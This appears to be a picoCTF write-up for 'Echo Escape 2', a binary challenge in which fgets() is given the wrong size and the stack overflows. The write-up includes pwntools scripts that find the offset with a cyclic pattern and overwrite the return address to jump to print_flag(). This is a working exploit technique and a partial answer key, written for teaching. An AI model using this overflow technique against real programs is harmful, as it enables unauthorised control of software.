Echo Escape 2

Published: March 20, 2026

Description

The developer replaced the dangerous input function with `fgets()`, but the fix is incomplete. Download `vuln` and `vuln.c`, then find the remaining path to the flag.

Download vuln and its source code.

Read the source to see how fgets() is misused.

cat vuln.c
chmod +x vuln

Solution

  1. Step 1Find the fgets() bug
    Read vuln.c -- the developer switched from gets()/scanf() to fgets() but passed the wrong size argument. The result is a buffer read that is still larger than the actual buffer, creating a stack overflow.
    cat vuln.c
    checksec --file=./vuln
  2. Step 2Find the offset to the return address
    Use pwntools' cyclic pattern to determine the exact number of bytes needed to reach the saved return address on the stack.
    python3 << 'EOF' from pwn import * # Generate a cyclic pattern and crash the binary p = process("./vuln") p.sendline(cyclic(200)) p.wait() core = p.corefile # Find the offset from the core dump or GDB offset = cyclic_find(core.read(core.sp, 4)) log.info(f"Offset: {offset}") EOF
    # Or use GDB: pattern create 200, run, pattern offset $rip
  3. Step 3Redirect execution to print_flag()
    Find the address of print_flag() with objdump, then craft a payload that overflows the buffer and overwrites the return address.
    objdump -d vuln | grep print_flag
    python3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) offset = 72 # adjust from your analysis print_flag = e.sym["print_flag"] payload = b"A" * offset + p64(print_flag) p.sendline(payload) print(p.recvall()) EOF

Flag

picoCTF{3ch0_3sc4p3_2_...}

The developer switched to fgets() but used the wrong size -- the buffer still overflows. Find the offset with a cyclic pattern, locate print_flag() with objdump, and redirect the return address to it.